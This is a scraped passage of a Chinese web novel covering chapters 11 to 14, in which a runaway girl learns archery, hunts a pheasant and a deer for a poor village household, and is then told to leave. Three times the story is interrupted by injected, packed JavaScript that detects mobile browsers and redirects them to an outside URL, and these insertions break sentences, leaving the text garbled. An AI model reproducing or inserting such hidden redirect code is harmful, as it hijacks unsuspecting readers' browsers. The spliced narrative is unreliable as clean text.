“壮实自然有壮实的好处,都如弱柳扶风一般,我看也没什么意思。”姜佑安拿过袁竹手里的蒲扇,快速挥动着。 “去洗把脸吧,洗洗就凉快了。”袁竹说道。 “好。”姜佑安放下蒲扇,起身进了屋。 阮荷把弓立在廊下,自己也去搬了把竹椅出来,坐下来陪两位姐姐聊天。 姜佑安洗了脸回来坐下,感觉神清气爽. 金色的阳光洒满了整个院子,微风拂来,丝瓜架上的绿叶轻轻摇摆,偶尔会有一两朵枯萎的丝瓜花掉下来。 阮荷拿过了蒲扇,给姜佑安扇着风,“佑安姐姐射得这么准,以后肯定能打到猎。” “还差得远呢,这靶子是固定的,还离得这么近,要射中靶心,容易得很,但是野物就不容易了。”姜佑安握着右手的手腕,手指头在轻轻颤抖,“手指捏着射箭,使不出全力,要是有扳指就好了。” 袁竹还是想劝她放弃,但看着她通红的脸,话到了嘴边,又咽了回去。 “扳指?扳指是什么?”阮荷问道。 “就是指套。”姜佑安拿自己的右手拇指比划了一下,“要是有指套套在大拇指上,我就能用这根手指勾弓弦,不怕弓弦伤到手了。” “我用布给你做个手套可以吗?”阮荷问道。 “可以啊,那就多谢妹妹了。”姜佑安笑着应道。 阮荷用询问的目光看袁竹,袁竹站起身,“我去看看有没有合适的料子吧。” “嗯。”阮荷高兴地跟着她进了屋。 姜佑安也站起身,拿起弓继续练习,直到天色将晚,阮荷叫她去吃晚饭了,她才放下弓去洗手吃饭。 袁竹从厨房里出来,见那把弓靠墙立在廊下,她走过去弯着腰拂了拂弓弦,弓弦紧紧绷着,不能拨动分毫。 袁竹觉得有些不寻常,她站起身,左手握着弓,右手去拉弓弦,没拉动,她不死心,又使尽全力去拉,却只拉动了两三寸。 袁竹喘着粗气放下了弓,看向屋内的姜佑安。 袁竹觉得自己也算是有把子力气的人,都不能拉开这弓,而姜佑安射箭的时候,拉起来却是轻轻松松,她究竟是什么来历?有这样的本事,为何要到这里来?为何要跟自己一起受穷?她到底有什么目的?她带来的男人又是什么来历?两人以前真的是素不相识吗? 11. 野鸡 袁竹走进屋内时,阮荷已经扶着杨恩在桌边坐下了,袁竹也过去坐了。 姜佑安的右手疼得厉害,让阮荷给她拿了个勺子来,她左手拿着勺子吃饭,动作十分别扭,吃得很缓慢,阮荷不停地往她碗里夹菜。 “你都成这个样子了,还要折腾吗?”袁竹问道。 “练习射箭而已,都这是正常的。”姜佑安答道。 “你不是有钱人家的小姐吗?怎么会射箭?”袁竹又问道。 阮荷还在给姜佑安夹菜,姜佑安抬手示意她停止,“小时候我爹娘比较宠着我,我想做什么,他们也不拦着,我有一个朋友喜欢打猎,骑马、打猎、射箭,我都是跟她学的。” 阮荷十分惊奇,“佑安姐姐还会骑马?” “是啊,骑马比射箭还要容易,等以后有机会,我教你。”姜佑安笑着说道。 “我都没见过马长什么样,马不会咬人吧。”阮荷问道。 姜佑安放下勺子,哈哈大笑,“马怎么会咬人呢,踹人倒有可能。” 阮荷的脸红了,“佑安姐姐,你别笑话我嘛。” “你家里养的有马?”袁竹问道。 “有啊。”姜佑安答道。 “有多少匹?”袁竹问道。 “这我不知道,我也没去看过。”姜佑安答道。 “你和你朋友平时去哪里打猎?”袁竹追问道。 “京城附近的……”姜佑安还没说完,杨恩突然插嘴问道:“姑娘是从京城来的?” 姜佑安看向杨恩,“是啊,怎么了?” 袁竹有些吃惊,“京城来的?你爹是京城里当官的?” 姜佑安这才发觉自己说的有点多,“是,不过他就是一个小官,说了你们也不知道,我就没跟你们细说。” “京城离得那么远,你到这里来干什么?”袁竹问道。 “我不是跟你说了吗?我爹娘要把我嫁给一个老男人当妾,我不愿意,才逃走的。”姜佑安说道。 袁竹将信将疑,“你爹娘要把你嫁到哪里去?” “比这里还要北边的一个地方,我没记太清楚。”姜佑安含糊地说道。 “我也是从京城来的,敢问令尊在京城任何官职?”杨恩又突然问道。 姜佑安心里暗自责怪杨恩不该多嘴,还得给自己编个身份,她端起碗来,吃了两口饭,“我爹不过是国子监里一个小小的典簿,不是什么高官。” “典簿是做什么的?”阮荷问道。 “就看管图书和文书档案。”姜佑安说道。 阮荷心生羡慕,“怪不得姐姐说话这么好听,姐姐肯定也会认字、会读书吧。” “会啊,这有什么难的。”姜佑安漫不经心地说道。 阮荷转头看向杨恩,“杨大哥也是从京城来的?” “是。”杨恩点了点头。 “那你来这里做什么?”袁竹问道。 “我幼时丧母,和我爹在这边生活过,后来又跟我爹一起去了京城,去了京城没多久,我爹也病死了,我卖身为奴,安葬了我爹,去年我染上重病,被主家赶了出来,我怕会死在异乡,就雇人把我和我爹的灵柩送了回来。”杨恩说道。 姜佑安想起了自己遇到他的那个夜晚,“土地庙旁边那方新坟,就是令尊?” “是,我怕自己命不久矣,就雇人先给我爹立了坟。”杨恩答道。 袁竹感到奇怪,“你既然有钱雇人,为什么要在破庙里等死?” “我本来住在城里的客栈里,我爹的坟立好之后,我就遣散了那些伙计,只留下一个叫刘虎的人照顾我,那天,刘虎跟我说我爹的坟有些异样,让我亲自去看看,他还帮我打点了行囊,说是留在客栈了怕别人偷了去,我知道自己时日无多,也就随他安排了,谁知到了之后,他就抢了我的钱财,把我扔在庙里不管了。”杨恩说道。 姜佑安生气地放下碗筷,“竟有这样的事!你报官了吗?” 袁竹轻轻摇了摇头,“报官有什么用?你还能指望官差给你抓犯人?” “我那时又急又气,加上还在病着,当场就晕了过去,还好后来遇到了姜姑娘,把我救了出来。”杨恩说道。 “你丢失了多少钱财,还记得刘虎的长相吗?等你能走路了,咱们就去报官。”姜佑安说道。 “人是我从京城雇来,只怕早已经不在泰安县境内了,我能捡回一条命已属幸运,钱财什么的,就不去想了。”杨恩说道。 “这世道,能无病无灾地活着,就已经不错了,钱没了,再赚就是了。”袁竹说道。 杨恩点头称是,“袁姑娘说的是。” “听你说话这么讲究,你的家主也是当官的?”袁竹问道。 “不是,他家是做生意的。”杨恩说道。 袁竹想了想,又问道:“这么说,你跟姜佑安以前真的不认识?” “当然不认识,你怎么这么信不过我!”姜佑安抱怨道。 也许确实是自己想多了,袁竹低下头吃饭,“是我多心了,都吃饭吧。” 阮荷比量着姜佑安的手做好了手套,还特意给拇指做了加厚,姜佑安戴上手套,用拇指拉弓,准头和力量都精进不少。 姜佑安信心满满地进了山,却还是空手而归。 虽然心里有些急躁,但她并不气馁,每日上午进山,下午练弓箭,觉得院子小了,她就在傍晚时把靶子挪到院子外的一棵树上,高低远近地换着位置挂,她站定之后,将弓拉满,一箭一箭地射向靶心。 在夕阳柔和地映照下,她汗流浃背,原本白皙的皮肤逐渐被晒黑,变得和普通村姑别无二致。 与此同时,她的箭射得越来越准,越来越快,偶尔有人路过见了,都会发出惊叹。 经过日复一复的训练,她迅速又充满力量的箭终于射中了一只野鸡,她急急忙忙下了山,拎着野鸡就冲进了陈大用的院子。 陈大用彼时正在院子里给一张桌子刷漆,就见姜佑安兴高采烈地跑了进来,“陈爷爷,你看!我打到了野鸡!” 陈大用大吃一惊,她真的打到猎物!那弓是他年轻时用的,年纪大了之后拉不动了,附近也没人能用,才搁置在一旁的,本来只是开个玩笑,让这姑娘受受挫,没想到她真的能用那把弓,这姑娘,真是不容小觑! 陈大用放下漆和刷子,喜笑颜开,“小姑娘还真厉害,真让你打到野鸡了。” “陈爷爷,拿刀来,我给你分一半。”姜佑安激动地说。 陈大用哈哈一笑,“你要这里杀鸡?那不是得弄得我满院子都是血。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665230|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那,我杀好了再给你拿来。”姜佑安转身就要走。 “等等!”陈大用叫住了姜佑安,“野鸡肉硬,我年纪大了,吃不动,你给我分半个鸡腿就好,我留给我孙子,还有,野鸡尾巴上的毛都拿来给我,我再给你做几支箭。” “好,谢谢陈爷爷!”姜佑安高兴地向陈大用行了一礼,转身跑了出去。 还没进袁家的大门,姜佑安就高声叫嚷道:“小阮!小阮!快出来!看我打到了什么?” 听到姜佑安的声音,阮荷忙迎了出去,“佑安姐姐,怎么了?” “你看!”姜佑安笑容灿烂,手上举着一只滴血的野鸡。 “是野鸡!”阮荷的声音一下子提高了,转身向院内喊道:“袁姐姐!佑安姐姐打到了野鸡!” 袁竹走出来,看到野鸡也忍不住高兴地笑了,“不错啊,这么多天的辛苦总算没白费。” “那是。”姜佑安走进了院子,看到杨恩做在走廊下,得意地把野鸡拎到他面前,“厉害吧?” 杨恩微笑道:“姜姑娘神武!” “哈哈哈哈。”姜佑安大笑一声,把野鸡丢给了阮荷,“小阮,我们有肉吃了!” 阮荷吓得向后一退,野鸡落在了地上,扑棱着翅膀站了起来,袁竹赶忙一扑,抓住了野鸡的两只翅膀,把野鸡身上的箭拔了出来,“好不容易打回来的,别放跑了!” “对不起。”阮荷慌忙道歉。 袁竹笑了笑,“我没说你,午饭已经做好了吧?先拿绳来,把野鸡拴在厨房里,晚上吃。” “干吗要等晚上?我现在就要吃。”姜佑安抗议道。 “野鸡不比家鸡,肉又柴又硬,随便煮一煮是煮不烂的,下午早点儿炖,多炖一会儿,才能吃到烂乎肉。”袁竹说道。 姜佑安想起陈大用也说野鸡肉硬,看来是真的,“好吧,我不懂这些,就听你的。” 吃过午饭,袁竹烧了一锅热水,开始收拾野鸡,阮荷蹲在一旁,看起来又害怕又期待。 “小阮杀过鸡吗?”袁竹问道。 阮荷摇了摇头,“没有,我只见过我娘杀鸡。” “害怕吗?”袁竹又问道。 “有点儿。”阮荷答道。 “等吃到嘴里就不害怕了。”袁竹笑着说道。 收拾好了鸡,姜佑安端着一只鸡腿,小心地捧着一簇尾羽,去了陈大用家,陈大用接过盘子,道了谢,让孙子跟姜佑安打招呼,把羽毛收起来。 从陈大用那里回来,姜佑安也无心去练箭了,蹲守在厨房门口,哪儿也不去,“让小阮做,小阮做菜好吃。” 袁竹有些不高兴,“你的意思是,我做菜难吃?” “佑安姐姐是想让袁姐姐歇息歇息,你们都出去吧,厨房交给我就行。”阮荷把柴火往火灶里填了填,站起身说道。 “行,那我再去劈些柴。”袁竹说着向外走去。 姜佑安在灶前坐下,“那我给你看着火。” 阮荷把锅里的水清干净,倒上油,放入葱姜蒜爆香,倒入鸡块翻炒一会儿,在锅边淋入酱油,呲拉拉香气四溢,阮荷自己都忍不住咽了一下口水。 又翻炒一阵之后,阮荷给锅里添上水,盖上了锅盖,只等灶下的旺火把鸡肉炖熟炖烂。 12. 猎杀 姜佑安闭着眼,对着锅边猛吸了一口气,“真香!” 袁竹抱着木柴进来,堆放在姜佑安的脚边,起身用肩上的手巾擦了擦汗,“没想到,小阮还会炖鸡。” 阮荷从灶台后面走出来,脸上带着腼腆的笑,“做菜都差不多,我们家过年的菜都是我做的,鸡也炖过。” “那你会做很多菜吧,真厉害。”姜佑安夸赞道。 袁竹想起了自己的姐姐,“可能大女儿都是这样,从小就帮着爹娘照顾弟弟妹妹,又要下地干活,又要做饭洗衣刷碗,一天到晚有干不完的活。” “我也是大女儿,我就从来不管弟弟妹妹的事。”姜佑安说道。 “有钱人家都有下人伺候,能一样吗?”袁竹白了姜佑安一眼,“你天天大鱼大肉,还能出去骑马打猎,我们累死累活,连个鸡蛋都吃不上,老天真是不公平!” “不过,佑安姐姐现在跟我们过着一样的生活,还让我们吃上了肉,她射箭这么厉害,以后肯定能经常吃到的。”阮荷笑着说道。 袁竹笑了笑,“她天天什么都不干,要是打不到东西,这些天的饭菜都白吃了。” “我怎么什么都不干,天天上山去打猎,也是很累的好吗?你根本不知道我追野鸡追得多狼狈。”姜佑安反驳道。 “是啊,袁姐姐,佑安姐姐打猎肯定也很辛苦的。”阮荷附和道。 “行,你辛苦了,剩下一个鸡腿就给你吃吧。”袁竹对姜佑安说道。 姜佑安有些不敢相信,每次有鸡蛋吃的时候,她都是先分给杨恩或者阮荷的,“真的给我?” “真的,毕竟你功劳最大。”袁竹说道。 “太好了。”姜佑安舔了舔嘴唇,“半个多月没吃到肉,我今天要大吃一顿。” “这厨房里热,你们去外面等吧,炖好了我就端出去。”阮荷说着就要把姜佑安给拉起来。 姜佑安推开阮荷的手,坐在小板凳上,往锅底送柴火,“没事,为了吃肉,我不怕热。” 阮荷和袁竹相互笑笑,也就由着她了。 姜佑安感觉炖了好久好久,才终于端上了餐桌,阮荷去叫杨恩吃饭,姜佑安已经把鸡腿夹到了碗里,筷子用着不方便,她直接上手抓住鸡腿,狠狠咬了一大口。 野鸡确实比家鸡要柴很多,但满嘴嚼着肉,闻着肉香,还是让她觉得无比满足。 “小阮手艺真不错,太美味了!”姜佑安称赞道。 杨恩已经能自己走路了,他和阮荷在桌边坐下,袁竹让两人不要客气,随便吃。 这只野鸡个儿头不小,除去了给陈大用的那只鸡腿,剩下的肉还有不少,用一个大汤碗都装不下,阮荷又分到了一个盘子里。 见鸡肉多,阮荷也不客气了,吃了一块又一块,她觉得此时真是幸福极了,在家里哪有这样敞开了吃肉的时候?能遇到姜佑安和袁竹,真是太好了! 杨恩的食欲不大好,吃了两块鸡肉,又吃下了半碗饭,就说吃饱了,独自下桌回东屋里去了。 剩下三人在桌上,一言不发,只专心吃肉,鸡肉旁的那盘中午剩下的炒豆角还和刚端上来时一样,没有一个人碰。 待三人都吃饱了,汤碗里还剩五六块鸡肉,姜佑安舔了舔黏腻的嘴唇,吃不下了,真是可惜。 袁竹觉得豆角倒了可惜,就把豆角倒进了自己碗里,把豆角吃完了,又为满桌的骨头感到可惜,可惜家里没养狗。 阮荷吃得心满意足,起身收拾碗筷,袁竹把骨头收集起来,倒在了门外大路边,留给村里出来游荡的狗吃。 剩下的鸡肉和汤汁,阮荷做了一锅鸡肉青菜粥,给大家做早餐,姜佑安吃了连声称赞,说比她家的厨子做得还要好吃。 吃过一只野鸡后,大家对姜佑安的打猎成果倍加期待,都盼着能再吃一顿肉。 可自此之后,姜佑安足足有十天,一只像样的野物都没遇见。 看来打猎不光需要实力,还需要运气。 习惯了姜佑安空手而归,袁竹和阮荷也不像之前那么热切了,袁竹还说,要是打不到东西,就砍些枯树回来当柴烧,也算是没白进山。 姜佑安背上背着弓箭,手持砍刀,砍倒了一棵枯木。 “没白来,砍了柴也算没白来。”姜佑安嘴里一边念叨着,一边砍下枯树的树枝。 想到袁竹日渐冷淡的态度,姜佑安有些怀疑自己还能不能打到猎,要是不能让大家吃到肉,不如听袁竹的,跟她一起去卖花去。 两个人去卖花,就能吃上肉了吗?姜佑安也有些怀疑。 把树枝拢在一起,姜佑安站在了一块石头上,向四周查看有没有其他的枯树。 不对!她应该查看的是有什么猎物才对!可砍倒树的动静这么大,有猎物也被吓跑了吧。 姜佑安站在石头上,一动不动地探看着眼前这座密林,耳朵里能听到的,除了鸟叫虫鸣,就只有风吹树叶的声音。 姜佑安耐心地等着,低头看着前方低矮的树丛,在层层叠叠的树叶之下,好像有什么跳跃了一下,又消失不见了。 她把砍刀别在背后,轻手轻脚地把弓取了下来,又抽出一支箭来,搭在弓弦上。 短暂的宁静过后,前面不远处传来窸窸窣窣的声响,姜佑安看过去,发现是一只灰色的兔子正向着自己的方向穿行,有树叶遮挡,兔子还没有发现她。 姜佑安屏气凝神,慢慢把弓举起来,拉开弓弦,瞄准,射击。 箭羽急速飞出,穿透树叶,从兔子的立起来的耳朵边擦过,兔子受了惊,转过头蹿进了矮树丛中。 姜佑安赶忙收起弓,跑了过去,拔出箭,看到箭头上还带着些许鲜血,她收起箭,向兔子逃跑的方向追去。 兔子跑得很快,姜佑安没追出多远,就失去了兔子的踪迹。 姜佑安停住脚步,心内焦急,不知道往哪个方向追去。 好不容易遇到的猎物,又让它跑了! 姜佑安蹲下身子,观察着低矮的草丛,期待能有某个地方,草丛里突然有东西跑动起来,她拨开草叶向前看,意外地在手边的草叶上,看到了一丝血迹。 是兔子的!兔子的耳朵受了伤,逃跑时,血迹蹭在了低矮的草叶上,姜佑安弯着腰仔细寻找着别的血迹,跟着血迹,追捕那只逃跑的兔子。 受伤的兔子可能会找一个僻静的地方休息,自己要是跑动起来,肯定会惊得兔子再次逃跑,想到这里,姜佑安放轻了动作,一步一步向前挪着。 顺着血迹,姜佑安来到了这片密林的边缘,再往前是一条小溪,密林和小溪之间有一片空地,草长得比较低矮,她想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她脚上穿的是陈大用给她编的草鞋,虽然结实,却不适合下水,要箭还是要鞋,姜佑安果断选择了鞋,箭囊里的九支箭够用了,况且她还需要穿着这双鞋,把鹿扛回家。 鹿仰起头,还想再挣扎,动了两动,还是垂下了头,它力气和血液一起流失了。 姜佑安喜欢射箭,但一向对猎杀不感兴趣,如今为了吃肉,也只能如此了。 姜佑安忍受着恶心的血腥味,拿麻绳栓住了鹿的脚,把弓和箭囊系在腰间,把鹿扛在肩上,踏上了回家的路。 今天走得有些远,姜佑安费了一番功夫才出了山,肩上的鹿越来越沉,几乎要将她的体力耗尽,也许该吃块饼,休息一下。 姜佑安低头看向自己胸前,血已经浸湿了她的衣服,饼也沾满了血,肯定不能吃了。 抬头看袁家离得也不远了,还是先回家吧。 姜佑安两手把着鹿腿,弯着腰把鹿往肩膀上送送,不经意间,看到身后不远处有一个拿着柴刀的男人,正向着她走来。 那人眼露凶光,明显是冲着她肩上的鹿来的,自己扛着鹿走了这么远的山路,体力已经消磨殆尽,此时跟一个男人对峙,必然会吃亏。 姜佑安赶忙快步向前走去,却见前方还有一个男人。 13. 初遇 姜佑安快步上前,跟前方的男人打招呼,“公子,你怎么在这里?” 戴庭芳正看着一旁的稻田想心事,突然听见有人向他搭话,随即,他闻到了浓重的血腥味。 他迟疑地转过身,看见一个女人站在不远处,她肩上扛着一头鹿,鹿好像受了伤,鲜血顺着她的衣袖滴落在土路上,鹿头垂在女人身侧,睁着大大的眼睛,默默看着他。 女人穿着的粗布衣服上尽是尘土、草叶和血污,像是刚在地上和什么打了一架,她的脸上也带着血迹,这让戴庭芳吓了一跳,“姑娘受伤了吗?” 姜佑安看见戴庭芳的脸,双眼瞬间迸发出异样的神采,咧开嘴笑起来,“公子,你长得真好看。” 戴庭芳有些失神,流血的鹿,温顺的鹿眼,肩上扛着鹿的女人,女人灿烂的笑脸,如此怪异的场景,自己难不成是在做梦? 看见美貌公子愣在那里,一句话都不说,姜佑安向后看了看,见那男人把砍刀别在腰间,转身往山里去了。 姜佑安心里暗暗松了一口气,危机解除了,她向戴庭芳点头谢道:“还好有公子在这里,不然我这头鹿可就危险了。” “鹿?”戴庭芳回过神来,“这鹿怎么了?受伤了吗?是你救了它?” 姜佑安两手扶着鹿腿,骄傲地昂起头,“这鹿是我打猎打来的,厉害吧!” 戴庭芳皱起眉头,“你?打猎?” “看公子如此貌美,我就邀请公子去我家,品尝一下我亲手猎来的鹿肉,怎么样?”姜佑安笑着提议道。 姜佑安笑得越开心,戴庭芳越觉得可怕,血腥味充斥着他的鼻腔,让他感觉有些恶心,他掩住鼻子,侧过脸,“不了,多谢姑娘美意。” “好吧,看公子的衣着打扮,也不像是吃不起肉的,这头鹿,我们就自己享用了。”姜佑安扛着鹿向前走去,“再会!” “再会。”戴庭芳轻声应道,待人走远了,他才反应过来,那个奇怪的村姑,竟让他忘了男女之别,和她单独说了这些话。 戴庭芳看着路上的血迹,呆立了好一阵子。 眼看袁家的院门就在眼前了,姜佑安大喊一声,“小阮!” 阮荷和杨恩同时从院门内走了出来,看见姜佑安扛着一头鹿,都大吃一惊。 “佑安姐姐,你打到了鹿!你太厉害了!”阮荷蹦跳着去迎接,却又不敢碰那鹿。 姜佑安志得意满,“那是!我一向都很厉害。” 杨恩帮忙把鹿从姜佑安肩上卸下,两人抬着鹿进了院子。 “袁竹呢?让她赶紧来看看,我是不是在山上做无用功。”放下鹿,姜佑安扬声说道。 “袁姐姐还没回来。”阮荷说道。 “哦,还没回来。”姜佑安把弓箭放在墙边,一屁股坐在廊下的竹椅上,感觉全身的力气都被抽干了,肩膀疼得厉害,“不管她,她做菜难吃,这鹿就交给你了。” 阮荷看着躺在院子中间的鹿,它的身体还在微微起伏,它还在活着!凑近了一看,鹿的眼睛还在睁着,大大的眼睛看着她,哀伤又温柔,仿佛是在向她求救。 鹿还在呼吸,要她动手杀了它吗?阮荷向后退了两步,“我,我害怕。” 姜佑安揉着酸痛的肩膀,看向那头鹿,“它都要死了,怕它做什么?” 阮荷犹豫了一下,“它,很可怜。” “你不想吃肉了?”姜佑安问道。 阮荷捂着自己的脖子,低头说道:“想,但是,我不敢杀它。” “上次那只野鸡你怎么敢杀?”姜佑安又问道。 “野鸡和家鸡差不多,养鸡就是为了吃鸡蛋、吃鸡肉。”阮荷答道。 “那鹿也差不多,我进山就是为了打猎,凡是我打到的猎物,都是要杀了吃肉的,你要是可怜它,那你就没有肉吃。”姜佑安说道。 杨恩的身体已经恢复,今日常在厨房帮忙,他去厨房里拿出菜刀和一个瓷盆来,蹲在鹿的身旁,遮住了鹿的眼睛,用刀割开鹿的喉咙,下面放着的瓷盆用来接鹿血。 阮荷看不到杨恩的动作,但她知道,鹿死了。 她的心情很复杂,看到姜佑安扛回来一头鹿时,她兴奋异常,想到能吃上肉,她非常高兴,但看到一头鹿在她面前死去,她又有些悲伤。 这让她想到过年时,村里有人杀猪,猪嚎叫得整个村子都能听得到,但,不会有人救它,因为人们要吃肉,她听到嚎叫时,觉得难过,但当她分到一块肉时,她只觉得肉真好吃。 而眼前这头鹿,它连叫都没叫,它可能很清楚,人都想吃它的肉,不会想救它,就算它用无辜的眼神看向人,人也只会躲开。 阮荷正在七想八想的时候,袁竹挑着担子进了院门,一进门她就发出一声惊呼,“哪来的鹿?” 姜佑安骄傲地站起来,“当然是我打猎打回来的。” 袁竹靠墙边放了担子,惊讶地凑过去,看了看地上的鹿,随即向姜佑安笑道:“真的打到鹿了,挺厉害啊!” “那是,你也不看看我是谁。”姜佑安叉着腰,得意地说道。 袁竹上下扫视着姜佑安身上的血迹,“你自己弄回来了?没受伤吧?” 姜佑安摆了摆手,“没事,都是些小伤,鹿肉硬不硬?中午能吃上吗?” “要炖着吃,也得炖个一两个时辰,不过,你要是想马上吃,也不是没有办法。”袁竹说道。 “有什么办法?”姜佑安问道。 “把肉片成薄片就行。”袁竹去厨房拿了一个大点儿的瓷盆,走到杨恩身边,向他伸出手,杨恩把手上的菜刀递给了她。 “袁姑娘会解鹿?”杨恩问道。 袁竹挽了挽袖子,看向杨恩,“这有什么会不会的,要不你来?” 杨恩笑了笑,“还是袁姑娘来吧,我没有做过这种事。” “等你饿极了的时候,就什么都能做了。”袁竹说着,在鹿身边蹲了下来。 “袁姐姐,你不害怕吗?”阮荷小心地问道。 “怕什么?怕血?还是怕杀生?”袁竹反问道,不等阮荷回答,她又接着说道,“这世上可怕的东西多的是,要是只顾着害怕,那就什么都做不成了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665232|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 袁竹的话和她无畏的姿态,让阮荷生出了勇气,她袁竹身边蹲下,“姐姐,我来帮你。” “好,你来扶着腿,我先把皮剥下来。”袁竹说道。 听到袁竹的吩咐,杨恩也过去帮忙,三个人忙活了一通,剥了皮,掏出内脏,袁竹去磨了磨刀,砍下一条鹿腿,“姜佑安,把这个给木匠送过去。” “好嘞。”本在坐着休息的姜佑安一下子站起来,身上的被疼痛酸楚一齐袭来,她又坐了下去,喘着气说道:“等我歇歇再去送吧。” “要不我去吧。”杨恩说道。 “杨大哥不知道木匠住在哪,还是我去吧。”阮荷说道。 袁竹把鹿腿递给阮荷,“不要耽搁,快去快回。” 阮荷接过还在滴血的鹿腿,向院门外走去。 “要是有男人跟你搭话,不要搭理他,快点回来。”袁竹又嘱咐道。 “好。”阮荷回头笑笑,出门去了。 “袁姑娘要是不放心,我也一起去吧。”杨恩说道。 “算了,你哪儿也不要去,不能让村里人知道,我这屋里住着个男人。”袁竹说道。 “这有什么,你又没有婚配,找男人不是很正常的事吗?”姜佑安说道。 袁竹看了看姜佑安,笑了起来,“我真不知道你是说真的,还是开玩笑,孤男寡女同住在一个屋檐下,还正常?” “杨恩,你成亲了吗?”姜佑安瘫在椅子上问道。 杨恩摇了摇头,“没有。” “男未成婚,女未嫁,正常得不能再正常了。”姜佑安说道。 “这怎么可能正常,要是被村里人知道我家里有个男人,都得在背地里骂我不要脸了。”袁竹一边分解鹿肉,一边说道。 姜佑安皱起了眉头,“村里人都这样吗?因为这一点小事就骂人?” “对于村里人来说,这不是小事,是会把一辈子名节都毁掉的大事,袁姑娘说得对,我不该出去。”杨恩说道。 姜佑安不解,“没偷没抢,也没杀人放火,名节就毁了?怎么毁的?” “男女七岁不同席、不共食,我与袁姑娘既非姐弟,又非亲戚,自然是需要避嫌的。”杨恩说道。 “哦,原来是因为这个。”姜佑安靠着椅背闭上了眼睛,“这种话我是最不爱听的,想不到袁竹你还在乎这种事。” “人言可畏,谁会愿意平白无故被人背后议论,甚至于辱骂呢?”杨恩说道。 “因为这种事骂人,村里人也真够无聊的。”姜佑安说道。 “不止是村里,就是京城里,这种事也被当成丑事,只是碍于面子,大家不会当面说罢了。”杨恩说道。 “是这样吗?”姜佑安将信将疑。 袁竹把菜刀放在瓷盆里,坐在一旁的地上休息,“可能大户人家管得严,不会出这种事,不过,正好你们说到这,那我也就说开了,我家里地方小,容不下这些人,今天吃过这顿饭,咱们就各自分开,各走各的路吧。” 姜佑安睁开眼睛,平静地看着袁竹,“你还是要赶我走?” 14. 骚扰 “这里是我家,家里住着这么多人,我不习惯。”袁竹说道。 “我无处可去。”姜佑安说道。 “又不是我让你逃跑的,你跟我说这些也没用。”袁竹避开了姜佑安的视线,看向一旁的鹿肉,“你要是想带走这些鹿肉,我可以帮你做成腊肉。” “我身无分文。”姜佑安说道。 “鹿皮你可以拿去城里换些钱,杨恩之前给我的碎银子还剩些,我都还给你们,你们商量着办吧。”袁竹说道。 姜佑安看见阮荷迈着轻松的步子走了进来,向袁竹问道。“你说习惯了一个人生活,那阮荷怎么办?” 袁竹看向阮荷,“我把她当做妹妹,她自然是要留下的。” “你是嫌我无用?”姜佑安问道。 阮荷本来是高高兴兴地一路小跑回来的,但此时院子里的氛围却让她有些害怕,“袁姐姐,这是怎么了?你跟佑安姐姐吵架了?” 袁竹笑了笑,“没有,她早晚要走的,我只是提前说了出来。” “佑安姐姐要走?”阮荷快步走到姜佑安身边蹲下,双手握住她的右手,“姐姐怎么从来没有提起过,你要去哪?” 姜佑安苦笑一下,“我哪里知道你袁姐姐要把我赶到哪里去。” “你去哪里都好,反正与我无关。”袁竹站起身,端起瓷盆就要进厨房。 阮荷站起身来,焦急地问道,“袁姐姐,你为什么要赶佑安姐姐走?刚刚不还好好的吗?” 袁竹走到了厨房门口,向着厨房内说道:“这里是我家,谁能留下,谁不能留下,我说了算。” 阮荷跑过去,拉住了袁竹的胳膊,眼睛里噙着泪,“袁姐姐,到底是为什么啊?” 袁竹叹了口气,“小阮,只靠卖花,真的养不活这么多人。” “我们现在不是活得好好的吗?今天还能有肉吃呢。”阮荷说道。 “现在是活得好,可以后呢,远的不说,这马上就到秋天了,秋天过去就是冬天,没有冬衣,没有厚被褥,你佑安姐姐和杨大哥只会冻死在我家。”袁竹说道。 阮荷没有想过冬天的事,她一时不知该说些什么好。 袁竹接着说道:“夏天秋天我们还有花可卖,卖到钱就能换粮食,可冬天怎么办?没有收入,还有四个人要吃饭,不让他们走,难道我们大家一起饿死?” “可是,就这么赶他们出去,他们到冬天也会挨饿受冻吧。”阮荷不忍地说道。 “你要是想跟他们一起挨饿受冻,我也不拦着你。”袁竹说完,进了厨房。 阮荷不想让姜佑安离开,但自己都是借住在这里的人,还能说什么呢?她手足无措地站在厨房门口,默默流着泪。 “姑娘这是怎么了?怎么哭了?”院门外传来一个男人的声音。 杨恩听到有外人的声音,快步走进了屋子里。 阮荷抬头看去,见是刚才在村子里见过的人。 男人走了进来,“有谁欺负妹妹了?你告诉我,哥哥帮你揍他!” 阮荷擦了擦眼泪,向后退了两步,“没人欺负我。” 袁竹从厨房里走了出来,“是谁要在我家揍人?” 来人笑道:“袁姐姐也在啊。” “谁是你姐姐?”袁竹不耐烦地说。 俩人不气不恼,“我娘常说,她待你就像是亲女儿一般,你可不就是我亲姐姐吗?” “少跟我套近乎!我连你叫什么都不知道。”袁竹看他两手空空,没拿鸡蛋篮子,奇怪地问道,“王大娘怎么了?我说了最近不要鸡蛋了,她让你来做什么?” 